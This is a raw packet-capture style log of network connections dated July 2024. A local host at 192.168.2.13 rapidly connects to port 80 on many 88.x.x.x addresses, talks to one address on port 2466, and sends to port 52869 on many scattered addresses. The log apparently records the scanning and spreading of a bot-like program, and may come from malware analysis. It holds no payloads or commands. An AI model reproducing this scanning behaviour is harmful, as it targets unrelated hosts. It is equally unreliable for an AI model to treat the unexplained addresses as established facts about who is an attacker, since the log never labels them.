Jul 20, 2024 23:00:59.392355919 CEST	80	51708	88.217.111.86	192.168.2.13
Jul 20, 2024 23:00:59.392426014 CEST	32800	80	192.168.2.13	88.42.123.165
Jul 20, 2024 23:00:59.392524004 CEST	51708	80	192.168.2.13	88.217.111.86
Jul 20, 2024 23:00:59.393656969 CEST	41974	80	192.168.2.13	88.185.18.207
Jul 20, 2024 23:00:59.393656969 CEST	41974	80	192.168.2.13	88.185.18.207
Jul 20, 2024 23:00:59.393956900 CEST	80	42438	88.147.170.219	192.168.2.13
Jul 20, 2024 23:00:59.394280910 CEST	42238	80	192.168.2.13	88.185.18.207
Jul 20, 2024 23:00:59.395464897 CEST	42862	80	192.168.2.13	88.203.34.200
Jul 20, 2024 23:00:59.395466089 CEST	42862	80	192.168.2.13	88.203.34.200
Jul 20, 2024 23:00:59.395497084 CEST	80	42702	88.147.170.219	192.168.2.13
Jul 20, 2024 23:00:59.395534992 CEST	80	44902	88.43.79.4	192.168.2.13
Jul 20, 2024 23:00:59.395538092 CEST	42702	80	192.168.2.13	88.147.170.219
Jul 20, 2024 23:00:59.395591974 CEST	80	54332	88.175.159.46	192.168.2.13
Jul 20, 2024 23:00:59.395647049 CEST	80	55016	88.60.255.249	192.168.2.13
Jul 20, 2024 23:00:59.396312952 CEST	43126	80	192.168.2.13	88.203.34.200
Jul 20, 2024 23:00:59.396379948 CEST	80	55280	88.60.255.249	192.168.2.13
Jul 20, 2024 23:00:59.396419048 CEST	55280	80	192.168.2.13	88.60.255.249
Jul 20, 2024 23:00:59.397383928 CEST	54654	80	192.168.2.13	88.51.29.49
Jul 20, 2024 23:00:59.397383928 CEST	54654	80	192.168.2.13	88.51.29.49
Jul 20, 2024 23:00:59.397659063 CEST	80	56468	88.10.119.162	192.168.2.13
Jul 20, 2024 23:00:59.398432016 CEST	54918	80	192.168.2.13	88.51.29.49
Jul 20, 2024 23:00:59.399272919 CEST	37482	80	192.168.2.13	88.115.87.106
Jul 20, 2024 23:00:59.399272919 CEST	37482	80	192.168.2.13	88.115.87.106
Jul 20, 2024 23:00:59.399338007 CEST	80	56732	88.10.119.162	192.168.2.13
Jul 20, 2024 23:00:59.399421930 CEST	80	59832	88.144.5.185	192.168.2.13
Jul 20, 2024 23:00:59.399496078 CEST	56732	80	192.168.2.13	88.10.119.162
Jul 20, 2024 23:00:59.399504900 CEST	80	38874	88.46.94.155	192.168.2.13
Jul 20, 2024 23:00:59.399559975 CEST	80	60768	88.42.123.165	192.168.2.13
Jul 20, 2024 23:00:59.399966955 CEST	80	32800	88.42.123.165	192.168.2.13
Jul 20, 2024 23:00:59.400007010 CEST	32800	80	192.168.2.13	88.42.123.165
Jul 20, 2024 23:00:59.400197029 CEST	37746	80	192.168.2.13	88.115.87.106
Jul 20, 2024 23:00:59.400799990 CEST	80	41974	88.185.18.207	192.168.2.13
Jul 20, 2024 23:00:59.400857925 CEST	80	42238	88.185.18.207	192.168.2.13
Jul 20, 2024 23:00:59.400907993 CEST	42238	80	192.168.2.13	88.185.18.207
Jul 20, 2024 23:00:59.401436090 CEST	53286	80	192.168.2.13	88.15.130.209
Jul 20, 2024 23:00:59.401436090 CEST	53286	80	192.168.2.13	88.15.130.209
Jul 20, 2024 23:00:59.402149916 CEST	53550	80	192.168.2.13	88.15.130.209
Jul 20, 2024 23:00:59.402254105 CEST	80	32884	88.254.213.91	192.168.2.13
Jul 20, 2024 23:00:59.402311087 CEST	80	56422	88.149.225.52	192.168.2.13
Jul 20, 2024 23:00:59.402636051 CEST	80	42862	88.203.34.200	192.168.2.13
Jul 20, 2024 23:00:59.403115034 CEST	80	43126	88.203.34.200	192.168.2.13
Jul 20, 2024 23:00:59.403198004 CEST	57302	80	192.168.2.13	88.55.81.133
Jul 20, 2024 23:00:59.403198004 CEST	57302	80	192.168.2.13	88.55.81.133
Jul 20, 2024 23:00:59.403273106 CEST	43126	80	192.168.2.13	88.203.34.200
Jul 20, 2024 23:00:59.403522015 CEST	80	54654	88.51.29.49	192.168.2.13
Jul 20, 2024 23:00:59.404095888 CEST	57564	80	192.168.2.13	88.55.81.133
Jul 20, 2024 23:00:59.404798985 CEST	80	40790	88.88.172.117	192.168.2.13
Jul 20, 2024 23:00:59.404863119 CEST	80	34262	88.144.101.120	192.168.2.13
Jul 20, 2024 23:00:59.404890060 CEST	80	35232	88.100.181.189	192.168.2.13
Jul 20, 2024 23:00:59.405013084 CEST	80	54918	88.51.29.49	192.168.2.13
Jul 20, 2024 23:00:59.405071020 CEST	80	37482	88.115.87.106	192.168.2.13
Jul 20, 2024 23:00:59.405148983 CEST	54918	80	192.168.2.13	88.51.29.49
Jul 20, 2024 23:00:59.406019926 CEST	53044	80	192.168.2.13	88.46.192.156
Jul 20, 2024 23:00:59.406019926 CEST	53044	80	192.168.2.13	88.46.192.156
Jul 20, 2024 23:00:59.406586885 CEST	80	37746	88.115.87.106	192.168.2.13
Jul 20, 2024 23:00:59.406625032 CEST	37746	80	192.168.2.13	88.115.87.106
Jul 20, 2024 23:00:59.407773972 CEST	53304	80	192.168.2.13	88.46.192.156
Jul 20, 2024 23:00:59.408143044 CEST	80	53286	88.15.130.209	192.168.2.13
Jul 20, 2024 23:00:59.408806086 CEST	80	53550	88.15.130.209	192.168.2.13
Jul 20, 2024 23:00:59.408860922 CEST	80	51688	88.36.251.157	192.168.2.13
Jul 20, 2024 23:00:59.408957958 CEST	53550	80	192.168.2.13	88.15.130.209
Jul 20, 2024 23:00:59.409471989 CEST	42940	80	192.168.2.13	88.233.245.46
Jul 20, 2024 23:00:59.409471989 CEST	42940	80	192.168.2.13	88.233.245.46
Jul 20, 2024 23:00:59.409806013 CEST	80	57302	88.55.81.133	192.168.2.13
Jul 20, 2024 23:00:59.410356998 CEST	80	57564	88.55.81.133	192.168.2.13
Jul 20, 2024 23:00:59.410394907 CEST	57564	80	192.168.2.13	88.55.81.133
Jul 20, 2024 23:00:59.411420107 CEST	43198	80	192.168.2.13	88.233.245.46
Jul 20, 2024 23:00:59.412398100 CEST	80	53044	88.46.192.156	192.168.2.13
Jul 20, 2024 23:00:59.413031101 CEST	80	37436	88.188.103.1	192.168.2.13
Jul 20, 2024 23:00:59.413058043 CEST	80	33216	88.72.206.136	192.168.2.13
Jul 20, 2024 23:00:59.413216114 CEST	80	50962	88.62.196.103	192.168.2.13
Jul 20, 2024 23:00:59.413604021 CEST	39178	80	192.168.2.13	88.95.217.148
Jul 20, 2024 23:00:59.413604021 CEST	39178	80	192.168.2.13	88.95.217.148
Jul 20, 2024 23:00:59.415090084 CEST	80	53304	88.46.192.156	192.168.2.13
Jul 20, 2024 23:00:59.415142059 CEST	53304	80	192.168.2.13	88.46.192.156
Jul 20, 2024 23:00:59.416243076 CEST	39434	80	192.168.2.13	88.95.217.148
Jul 20, 2024 23:00:59.416987896 CEST	80	36166	88.172.217.29	192.168.2.13
Jul 20, 2024 23:00:59.417016029 CEST	80	51972	88.45.43.209	192.168.2.13
Jul 20, 2024 23:00:59.417069912 CEST	80	42940	88.233.245.46	192.168.2.13
Jul 20, 2024 23:00:59.418030977 CEST	80	43198	88.233.245.46	192.168.2.13
Jul 20, 2024 23:00:59.418076038 CEST	43198	80	192.168.2.13	88.233.245.46
Jul 20, 2024 23:00:59.418163061 CEST	35172	80	192.168.2.13	88.84.148.82
Jul 20, 2024 23:00:59.418164015 CEST	35172	80	192.168.2.13	88.84.148.82
Jul 20, 2024 23:00:59.420145988 CEST	80	39178	88.95.217.148	192.168.2.13
Jul 20, 2024 23:00:59.420541048 CEST	35426	80	192.168.2.13	88.84.148.82
Jul 20, 2024 23:00:59.420643091 CEST	80	47548	88.91.94.195	192.168.2.13
Jul 20, 2024 23:00:59.420727015 CEST	80	55022	88.11.53.195	192.168.2.13
Jul 20, 2024 23:00:59.421690941 CEST	80	39434	88.95.217.148	192.168.2.13
Jul 20, 2024 23:00:59.421752930 CEST	39434	80	192.168.2.13	88.95.217.148
Jul 20, 2024 23:00:59.422801971 CEST	34676	80	192.168.2.13	88.173.127.131
Jul 20, 2024 23:00:59.422801971 CEST	34676	80	192.168.2.13	88.173.127.131
Jul 20, 2024 23:00:59.423506021 CEST	80	35172	88.84.148.82	192.168.2.13
Jul 20, 2024 23:00:59.424662113 CEST	80	40224	88.47.144.213	192.168.2.13
Jul 20, 2024 23:00:59.424689054 CEST	80	50838	88.183.179.90	192.168.2.13
Jul 20, 2024 23:00:59.424738884 CEST	34928	80	192.168.2.13	88.173.127.131
Jul 20, 2024 23:00:59.425976038 CEST	80	35426	88.84.148.82	192.168.2.13
Jul 20, 2024 23:00:59.426028013 CEST	35426	80	192.168.2.13	88.84.148.82
Jul 20, 2024 23:00:59.426573038 CEST	52208	80	192.168.2.13	88.28.231.133
Jul 20, 2024 23:00:59.426573038 CEST	52208	80	192.168.2.13	88.28.231.133
Jul 20, 2024 23:00:59.428107023 CEST	80	34676	88.173.127.131	192.168.2.13
Jul 20, 2024 23:00:59.428740978 CEST	80	58092	88.142.208.235	192.168.2.13
Jul 20, 2024 23:00:59.428742886 CEST	52458	80	192.168.2.13	88.28.231.133
Jul 20, 2024 23:00:59.429167032 CEST	80	60844	88.139.53.242	192.168.2.13
Jul 20, 2024 23:00:59.430505037 CEST	80	34928	88.173.127.131	192.168.2.13
Jul 20, 2024 23:00:59.430702925 CEST	34928	80	192.168.2.13	88.173.127.131
Jul 20, 2024 23:00:59.431786060 CEST	37210	80	192.168.2.13	88.39.167.212
Jul 20, 2024 23:00:59.431786060 CEST	37210	80	192.168.2.13	88.39.167.212
Jul 20, 2024 23:00:59.431910992 CEST	80	52208	88.28.231.133	192.168.2.13
Jul 20, 2024 23:00:59.432895899 CEST	80	42438	88.147.170.219	192.168.2.13
Jul 20, 2024 23:00:59.433115959 CEST	80	51444	88.217.111.86	192.168.2.13
Jul 20, 2024 23:00:59.433480978 CEST	37458	80	192.168.2.13	88.39.167.212
Jul 20, 2024 23:00:59.434376001 CEST	80	52458	88.28.231.133	192.168.2.13
Jul 20, 2024 23:00:59.434535980 CEST	52458	80	192.168.2.13	88.28.231.133
Jul 20, 2024 23:00:59.435760021 CEST	44038	80	192.168.2.13	88.3.244.128
Jul 20, 2024 23:00:59.435760021 CEST	44038	80	192.168.2.13	88.3.244.128
Jul 20, 2024 23:00:59.436670065 CEST	80	56468	88.10.119.162	192.168.2.13
Jul 20, 2024 23:00:59.437110901 CEST	44284	80	192.168.2.13	88.3.244.128
Jul 20, 2024 23:00:59.437144041 CEST	80	55016	88.60.255.249	192.168.2.13
Jul 20, 2024 23:00:59.438182116 CEST	80	37210	88.39.167.212	192.168.2.13
Jul 20, 2024 23:00:59.440064907 CEST	40180	80	192.168.2.13	88.178.196.213
Jul 20, 2024 23:00:59.440064907 CEST	40180	80	192.168.2.13	88.178.196.213
Jul 20, 2024 23:00:59.440725088 CEST	80	41974	88.185.18.207	192.168.2.13
Jul 20, 2024 23:00:59.440782070 CEST	80	60768	88.42.123.165	192.168.2.13
Jul 20, 2024 23:00:59.441303015 CEST	80	37458	88.39.167.212	192.168.2.13
Jul 20, 2024 23:00:59.441580057 CEST	37458	80	192.168.2.13	88.39.167.212
Jul 20, 2024 23:00:59.442297935 CEST	40424	80	192.168.2.13	88.178.196.213
Jul 20, 2024 23:00:59.444209099 CEST	49614	80	192.168.2.13	88.28.171.163
Jul 20, 2024 23:00:59.444209099 CEST	49614	80	192.168.2.13	88.28.171.163
Jul 20, 2024 23:00:59.444720030 CEST	80	44038	88.3.244.128	192.168.2.13
Jul 20, 2024 23:00:59.444806099 CEST	80	54654	88.51.29.49	192.168.2.13
Jul 20, 2024 23:00:59.444818020 CEST	80	42862	88.203.34.200	192.168.2.13
Jul 20, 2024 23:00:59.445148945 CEST	49858	80	192.168.2.13	88.28.171.163
Jul 20, 2024 23:00:59.445724010 CEST	80	44284	88.3.244.128	192.168.2.13
Jul 20, 2024 23:00:59.445791006 CEST	44284	80	192.168.2.13	88.3.244.128
Jul 20, 2024 23:00:59.447561979 CEST	41526	80	192.168.2.13	88.191.74.35
Jul 20, 2024 23:00:59.447561979 CEST	41526	80	192.168.2.13	88.191.74.35
Jul 20, 2024 23:00:59.447917938 CEST	80	40180	88.178.196.213	192.168.2.13
Jul 20, 2024 23:00:59.448849916 CEST	41770	80	192.168.2.13	88.191.74.35
Jul 20, 2024 23:00:59.449476004 CEST	80	53286	88.15.130.209	192.168.2.13
Jul 20, 2024 23:00:59.449487925 CEST	80	37482	88.115.87.106	192.168.2.13
Jul 20, 2024 23:00:59.449714899 CEST	80	40424	88.178.196.213	192.168.2.13
Jul 20, 2024 23:00:59.449758053 CEST	40424	80	192.168.2.13	88.178.196.213
Jul 20, 2024 23:00:59.450825930 CEST	59428	80	192.168.2.13	88.11.238.53
Jul 20, 2024 23:00:59.450825930 CEST	59428	80	192.168.2.13	88.11.238.53
Jul 20, 2024 23:00:59.451188087 CEST	80	49614	88.28.171.163	192.168.2.13
Jul 20, 2024 23:00:59.451212883 CEST	80	49858	88.28.171.163	192.168.2.13
Jul 20, 2024 23:00:59.451325893 CEST	49858	80	192.168.2.13	88.28.171.163
Jul 20, 2024 23:00:59.452541113 CEST	59672	80	192.168.2.13	88.11.238.53
Jul 20, 2024 23:00:59.452728987 CEST	80	53044	88.46.192.156	192.168.2.13
Jul 20, 2024 23:00:59.452982903 CEST	80	57302	88.55.81.133	192.168.2.13
Jul 20, 2024 23:00:59.453661919 CEST	80	41526	88.191.74.35	192.168.2.13
Jul 20, 2024 23:00:59.454257011 CEST	80	41770	88.191.74.35	192.168.2.13
Jul 20, 2024 23:00:59.454293966 CEST	41770	80	192.168.2.13	88.191.74.35
Jul 20, 2024 23:00:59.455279112 CEST	36690	80	192.168.2.13	88.229.215.174
Jul 20, 2024 23:00:59.455279112 CEST	36690	80	192.168.2.13	88.229.215.174
Jul 20, 2024 23:00:59.455972910 CEST	80	59428	88.11.238.53	192.168.2.13
Jul 20, 2024 23:00:59.456775904 CEST	36934	80	192.168.2.13	88.229.215.174
Jul 20, 2024 23:00:59.459080935 CEST	80	59672	88.11.238.53	192.168.2.13
Jul 20, 2024 23:00:59.459119081 CEST	59672	80	192.168.2.13	88.11.238.53
Jul 20, 2024 23:00:59.460568905 CEST	80	36690	88.229.215.174	192.168.2.13
Jul 20, 2024 23:00:59.460822105 CEST	60562	80	192.168.2.13	88.57.169.186
Jul 20, 2024 23:00:59.460822105 CEST	60562	80	192.168.2.13	88.57.169.186
Jul 20, 2024 23:00:59.461040974 CEST	80	39178	88.95.217.148	192.168.2.13
Jul 20, 2024 23:00:59.461080074 CEST	80	42940	88.233.245.46	192.168.2.13
Jul 20, 2024 23:00:59.461893082 CEST	80	36934	88.229.215.174	192.168.2.13
Jul 20, 2024 23:00:59.461958885 CEST	36934	80	192.168.2.13	88.229.215.174
Jul 20, 2024 23:00:59.462622881 CEST	60806	80	192.168.2.13	88.57.169.186
Jul 20, 2024 23:00:59.464900970 CEST	80	35172	88.84.148.82	192.168.2.13
Jul 20, 2024 23:00:59.466083050 CEST	80	60562	88.57.169.186	192.168.2.13
Jul 20, 2024 23:00:59.466747046 CEST	41128	80	192.168.2.13	88.143.197.12
Jul 20, 2024 23:00:59.466747046 CEST	41128	80	192.168.2.13	88.143.197.12
Jul 20, 2024 23:00:59.468431950 CEST	80	60806	88.57.169.186	192.168.2.13
Jul 20, 2024 23:00:59.468478918 CEST	60806	80	192.168.2.13	88.57.169.186
Jul 20, 2024 23:00:59.468641996 CEST	80	34676	88.173.127.131	192.168.2.13
Jul 20, 2024 23:00:59.468729973 CEST	41372	80	192.168.2.13	88.143.197.12
Jul 20, 2024 23:00:59.471450090 CEST	42014	80	192.168.2.13	88.59.14.239
Jul 20, 2024 23:00:59.471451044 CEST	42014	80	192.168.2.13	88.59.14.239
Jul 20, 2024 23:00:59.471679926 CEST	80	41128	88.143.197.12	192.168.2.13
Jul 20, 2024 23:00:59.471977949 CEST	80	49246	88.85.121.11	192.168.2.13
Jul 20, 2024 23:00:59.472042084 CEST	49246	80	192.168.2.13	88.85.121.11
Jul 20, 2024 23:00:59.473009109 CEST	80	52208	88.28.231.133	192.168.2.13
Jul 20, 2024 23:00:59.473130941 CEST	42258	80	192.168.2.13	88.59.14.239
Jul 20, 2024 23:00:59.473942995 CEST	80	41372	88.143.197.12	192.168.2.13
Jul 20, 2024 23:00:59.474005938 CEST	41372	80	192.168.2.13	88.143.197.12
Jul 20, 2024 23:00:59.474582911 CEST	34576	80	192.168.2.13	88.235.23.149
Jul 20, 2024 23:00:59.474582911 CEST	34576	80	192.168.2.13	88.235.23.149
Jul 20, 2024 23:00:59.476098061 CEST	34820	80	192.168.2.13	88.235.23.149
Jul 20, 2024 23:00:59.476705074 CEST	80	42014	88.59.14.239	192.168.2.13
Jul 20, 2024 23:00:59.478032112 CEST	49628	80	192.168.2.13	88.36.207.19
Jul 20, 2024 23:00:59.478032112 CEST	49628	80	192.168.2.13	88.36.207.19
Jul 20, 2024 23:00:59.479384899 CEST	80	42258	88.59.14.239	192.168.2.13
Jul 20, 2024 23:00:59.479573965 CEST	42258	80	192.168.2.13	88.59.14.239
Jul 20, 2024 23:00:59.479763031 CEST	49872	80	192.168.2.13	88.36.207.19
Jul 20, 2024 23:00:59.479942083 CEST	80	34576	88.235.23.149	192.168.2.13
Jul 20, 2024 23:00:59.480612040 CEST	80	37210	88.39.167.212	192.168.2.13
Jul 20, 2024 23:00:59.481895924 CEST	40564	80	192.168.2.13	88.31.32.16
Jul 20, 2024 23:00:59.481895924 CEST	40564	80	192.168.2.13	88.31.32.16
Jul 20, 2024 23:00:59.482251883 CEST	80	34820	88.235.23.149	192.168.2.13
Jul 20, 2024 23:00:59.482291937 CEST	34820	80	192.168.2.13	88.235.23.149
Jul 20, 2024 23:00:59.483402014 CEST	80	49628	88.36.207.19	192.168.2.13
Jul 20, 2024 23:00:59.484003067 CEST	40808	80	192.168.2.13	88.31.32.16
Jul 20, 2024 23:00:59.484637022 CEST	80	44038	88.3.244.128	192.168.2.13
Jul 20, 2024 23:00:59.485229969 CEST	80	49872	88.36.207.19	192.168.2.13
Jul 20, 2024 23:00:59.485537052 CEST	49872	80	192.168.2.13	88.36.207.19
Jul 20, 2024 23:00:59.486135006 CEST	44758	80	192.168.2.13	88.179.97.55
Jul 20, 2024 23:00:59.486135006 CEST	44758	80	192.168.2.13	88.179.97.55
Jul 20, 2024 23:00:59.487034082 CEST	45002	80	192.168.2.13	88.179.97.55
Jul 20, 2024 23:00:59.487334013 CEST	80	40564	88.31.32.16	192.168.2.13
Jul 20, 2024 23:00:59.488759041 CEST	80	40180	88.178.196.213	192.168.2.13
Jul 20, 2024 23:00:59.489300013 CEST	43964	80	192.168.2.13	88.207.39.160
Jul 20, 2024 23:00:59.489300013 CEST	43964	80	192.168.2.13	88.207.39.160
Jul 20, 2024 23:00:59.489419937 CEST	80	40808	88.31.32.16	192.168.2.13
Jul 20, 2024 23:00:59.489685059 CEST	40808	80	192.168.2.13	88.31.32.16
Jul 20, 2024 23:00:59.490966082 CEST	44208	80	192.168.2.13	88.207.39.160
Jul 20, 2024 23:00:59.492193937 CEST	80	44758	88.179.97.55	192.168.2.13
Jul 20, 2024 23:00:59.492219925 CEST	80	45002	88.179.97.55	192.168.2.13
Jul 20, 2024 23:00:59.492254972 CEST	45002	80	192.168.2.13	88.179.97.55
Jul 20, 2024 23:00:59.493057966 CEST	80	49614	88.28.171.163	192.168.2.13
Jul 20, 2024 23:00:59.494019032 CEST	55722	80	192.168.2.13	88.72.207.1
Jul 20, 2024 23:00:59.494117022 CEST	55722	80	192.168.2.13	88.72.207.1
Jul 20, 2024 23:00:59.494328022 CEST	80	43964	88.207.39.160	192.168.2.13
Jul 20, 2024 23:00:59.495855093 CEST	55966	80	192.168.2.13	88.72.207.1
Jul 20, 2024 23:00:59.496459961 CEST	80	44208	88.207.39.160	192.168.2.13
Jul 20, 2024 23:00:59.496505976 CEST	44208	80	192.168.2.13	88.207.39.160
Jul 20, 2024 23:00:59.496678114 CEST	2466	53098	15.235.203.214	192.168.2.13
Jul 20, 2024 23:00:59.496690989 CEST	80	59428	88.11.238.53	192.168.2.13
Jul 20, 2024 23:00:59.496965885 CEST	80	41526	88.191.74.35	192.168.2.13
Jul 20, 2024 23:00:59.497020960 CEST	53098	2466	192.168.2.13	15.235.203.214
Jul 20, 2024 23:00:59.498994112 CEST	80	55722	88.72.207.1	192.168.2.13
Jul 20, 2024 23:00:59.499603987 CEST	50582	80	192.168.2.13	88.182.133.67
Jul 20, 2024 23:00:59.499603987 CEST	50582	80	192.168.2.13	88.182.133.67
Jul 20, 2024 23:00:59.500660896 CEST	80	36690	88.229.215.174	192.168.2.13
Jul 20, 2024 23:00:59.501418114 CEST	80	55966	88.72.207.1	192.168.2.13
Jul 20, 2024 23:00:59.501460075 CEST	55966	80	192.168.2.13	88.72.207.1
Jul 20, 2024 23:00:59.501940966 CEST	50826	80	192.168.2.13	88.182.133.67
Jul 20, 2024 23:00:59.502227068 CEST	2466	53098	15.235.203.214	192.168.2.13
Jul 20, 2024 23:00:59.504787922 CEST	48710	80	192.168.2.13	88.221.198.181
Jul 20, 2024 23:00:59.504787922 CEST	48710	80	192.168.2.13	88.221.198.181
Jul 20, 2024 23:00:59.505423069 CEST	80	50582	88.182.133.67	192.168.2.13
Jul 20, 2024 23:00:59.507107973 CEST	48954	80	192.168.2.13	88.221.198.181
Jul 20, 2024 23:00:59.507122040 CEST	80	50826	88.182.133.67	192.168.2.13
Jul 20, 2024 23:00:59.507165909 CEST	50826	80	192.168.2.13	88.182.133.67
Jul 20, 2024 23:00:59.509068012 CEST	80	60562	88.57.169.186	192.168.2.13
Jul 20, 2024 23:00:59.509447098 CEST	37632	80	192.168.2.13	88.130.132.206
Jul 20, 2024 23:00:59.509447098 CEST	37632	80	192.168.2.13	88.130.132.206
Jul 20, 2024 23:00:59.510279894 CEST	80	48710	88.221.198.181	192.168.2.13
Jul 20, 2024 23:00:59.511786938 CEST	37876	80	192.168.2.13	88.130.132.206
Jul 20, 2024 23:00:59.512659073 CEST	80	48954	88.221.198.181	192.168.2.13
Jul 20, 2024 23:00:59.512789965 CEST	48954	80	192.168.2.13	88.221.198.181
Jul 20, 2024 23:00:59.514012098 CEST	39588	80	192.168.2.13	88.144.85.68
Jul 20, 2024 23:00:59.514012098 CEST	39588	80	192.168.2.13	88.144.85.68
Jul 20, 2024 23:00:59.514715910 CEST	80	37632	88.130.132.206	192.168.2.13
Jul 20, 2024 23:00:59.515628099 CEST	39832	80	192.168.2.13	88.144.85.68
Jul 20, 2024 23:00:59.516671896 CEST	80	41128	88.143.197.12	192.168.2.13
Jul 20, 2024 23:00:59.516964912 CEST	80	37876	88.130.132.206	192.168.2.13
Jul 20, 2024 23:00:59.517003059 CEST	37876	80	192.168.2.13	88.130.132.206
Jul 20, 2024 23:00:59.518923044 CEST	80	39588	88.144.85.68	192.168.2.13
Jul 20, 2024 23:00:59.519285917 CEST	39706	80	192.168.2.13	88.245.235.139
Jul 20, 2024 23:00:59.519285917 CEST	39706	80	192.168.2.13	88.245.235.139
Jul 20, 2024 23:00:59.520606995 CEST	80	34576	88.235.23.149	192.168.2.13
Jul 20, 2024 23:00:59.520816088 CEST	39950	80	192.168.2.13	88.245.235.139
Jul 20, 2024 23:00:59.521172047 CEST	80	42014	88.59.14.239	192.168.2.13
Jul 20, 2024 23:00:59.521184921 CEST	80	39832	88.144.85.68	192.168.2.13
Jul 20, 2024 23:00:59.521322966 CEST	39832	80	192.168.2.13	88.144.85.68
Jul 20, 2024 23:00:59.523483992 CEST	54650	80	192.168.2.13	88.95.76.231
Jul 20, 2024 23:00:59.523483992 CEST	54650	80	192.168.2.13	88.95.76.231
Jul 20, 2024 23:00:59.524420977 CEST	80	39706	88.245.235.139	192.168.2.13
Jul 20, 2024 23:00:59.524777889 CEST	80	49628	88.36.207.19	192.168.2.13
Jul 20, 2024 23:00:59.525629044 CEST	54894	80	192.168.2.13	88.95.76.231
Jul 20, 2024 23:00:59.525805950 CEST	80	39950	88.245.235.139	192.168.2.13
Jul 20, 2024 23:00:59.526097059 CEST	39950	80	192.168.2.13	88.245.235.139
Jul 20, 2024 23:00:59.528106928 CEST	40800	80	192.168.2.13	88.31.145.92
Jul 20, 2024 23:00:59.528106928 CEST	40800	80	192.168.2.13	88.31.145.92
Jul 20, 2024 23:00:59.528625965 CEST	80	54650	88.95.76.231	192.168.2.13
Jul 20, 2024 23:00:59.528639078 CEST	80	40564	88.31.32.16	192.168.2.13
Jul 20, 2024 23:00:59.530472040 CEST	41044	80	192.168.2.13	88.31.145.92
Jul 20, 2024 23:00:59.530965090 CEST	80	54894	88.95.76.231	192.168.2.13
Jul 20, 2024 23:00:59.531008959 CEST	54894	80	192.168.2.13	88.95.76.231
Jul 20, 2024 23:00:59.532702923 CEST	80	44758	88.179.97.55	192.168.2.13
Jul 20, 2024 23:00:59.532819986 CEST	58904	80	192.168.2.13	88.92.124.171
Jul 20, 2024 23:00:59.532819986 CEST	58904	80	192.168.2.13	88.92.124.171
Jul 20, 2024 23:00:59.533602953 CEST	80	40800	88.31.145.92	192.168.2.13
Jul 20, 2024 23:00:59.534497976 CEST	59148	80	192.168.2.13	88.92.124.171
Jul 20, 2024 23:00:59.535423040 CEST	80	41044	88.31.145.92	192.168.2.13
Jul 20, 2024 23:00:59.535461903 CEST	41044	80	192.168.2.13	88.31.145.92
Jul 20, 2024 23:00:59.536803961 CEST	80	43964	88.207.39.160	192.168.2.13
Jul 20, 2024 23:00:59.536932945 CEST	32852	80	192.168.2.13	88.168.133.200
Jul 20, 2024 23:00:59.536994934 CEST	32852	80	192.168.2.13	88.168.133.200
Jul 20, 2024 23:00:59.538053036 CEST	80	58904	88.92.124.171	192.168.2.13
Jul 20, 2024 23:00:59.538688898 CEST	33096	80	192.168.2.13	88.168.133.200
Jul 20, 2024 23:00:59.540210009 CEST	80	59148	88.92.124.171	192.168.2.13
Jul 20, 2024 23:00:59.540369987 CEST	59148	80	192.168.2.13	88.92.124.171
Jul 20, 2024 23:00:59.540719986 CEST	58732	80	192.168.2.13	88.40.83.143
Jul 20, 2024 23:00:59.540720940 CEST	58732	80	192.168.2.13	88.40.83.143
Jul 20, 2024 23:00:59.540759087 CEST	80	55722	88.72.207.1	192.168.2.13
Jul 20, 2024 23:00:59.542181015 CEST	58976	80	192.168.2.13	88.40.83.143
Jul 20, 2024 23:00:59.542975903 CEST	80	32852	88.168.133.200	192.168.2.13
Jul 20, 2024 23:00:59.544595957 CEST	59908	80	192.168.2.13	88.119.103.131
Jul 20, 2024 23:00:59.544595957 CEST	59908	80	192.168.2.13	88.119.103.131
Jul 20, 2024 23:00:59.545555115 CEST	80	33096	88.168.133.200	192.168.2.13
Jul 20, 2024 23:00:59.545751095 CEST	33096	80	192.168.2.13	88.168.133.200
Jul 20, 2024 23:00:59.546145916 CEST	60152	80	192.168.2.13	88.119.103.131
Jul 20, 2024 23:00:59.547799110 CEST	80	58732	88.40.83.143	192.168.2.13
Jul 20, 2024 23:00:59.547821999 CEST	46836	80	192.168.2.13	88.187.51.16
Jul 20, 2024 23:00:59.547821999 CEST	46836	80	192.168.2.13	88.187.51.16
Jul 20, 2024 23:00:59.548738956 CEST	80	50582	88.182.133.67	192.168.2.13
Jul 20, 2024 23:00:59.548751116 CEST	80	58976	88.40.83.143	192.168.2.13
Jul 20, 2024 23:00:59.548791885 CEST	58976	80	192.168.2.13	88.40.83.143
Jul 20, 2024 23:00:59.549174070 CEST	47080	80	192.168.2.13	88.187.51.16
Jul 20, 2024 23:00:59.550719023 CEST	80	59908	88.119.103.131	192.168.2.13
Jul 20, 2024 23:00:59.551497936 CEST	39244	80	192.168.2.13	88.194.170.76
Jul 20, 2024 23:00:59.551497936 CEST	39244	80	192.168.2.13	88.194.170.76
Jul 20, 2024 23:00:59.551978111 CEST	80	60152	88.119.103.131	192.168.2.13
Jul 20, 2024 23:00:59.552016020 CEST	60152	80	192.168.2.13	88.119.103.131
Jul 20, 2024 23:00:59.552838087 CEST	39488	80	192.168.2.13	88.194.170.76
Jul 20, 2024 23:00:59.552901983 CEST	80	48710	88.221.198.181	192.168.2.13
Jul 20, 2024 23:00:59.553111076 CEST	80	46836	88.187.51.16	192.168.2.13
Jul 20, 2024 23:00:59.554186106 CEST	50566	52869	192.168.2.13	223.143.201.43
Jul 20, 2024 23:00:59.554186106 CEST	50566	52869	192.168.2.13	82.165.155.170
Jul 20, 2024 23:00:59.554188013 CEST	50566	52869	192.168.2.13	205.67.98.173
Jul 20, 2024 23:00:59.554198980 CEST	50566	52869	192.168.2.13	62.38.71.222
Jul 20, 2024 23:00:59.554198980 CEST	50566	52869	192.168.2.13	50.170.13.13
Jul 20, 2024 23:00:59.554200888 CEST	50566	52869	192.168.2.13	58.79.2.90
Jul 20, 2024 23:00:59.554200888 CEST	50566	52869	192.168.2.13	59.5.94.31
Jul 20, 2024 23:00:59.554200888 CEST	50566	52869	192.168.2.13	100.238.58.140
Jul 20, 2024 23:00:59.554200888 CEST	50566	52869	192.168.2.13	175.158.109.220
Jul 20, 2024 23:00:59.554205894 CEST	50566	52869	192.168.2.13	193.187.192.75
Jul 20, 2024 23:00:59.554205894 CEST	50566	52869	192.168.2.13	1.6.86.123
Jul 20, 2024 23:00:59.554239035 CEST	50566	52869	192.168.2.13	96.235.29.144
Jul 20, 2024 23:00:59.554239035 CEST	50566	52869	192.168.2.13	120.15.92.129
Jul 20, 2024 23:00:59.554299116 CEST	50566	52869	192.168.2.13	135.82.236.8
Jul 20, 2024 23:00:59.554299116 CEST	50566	52869	192.168.2.13	155.72.128.191
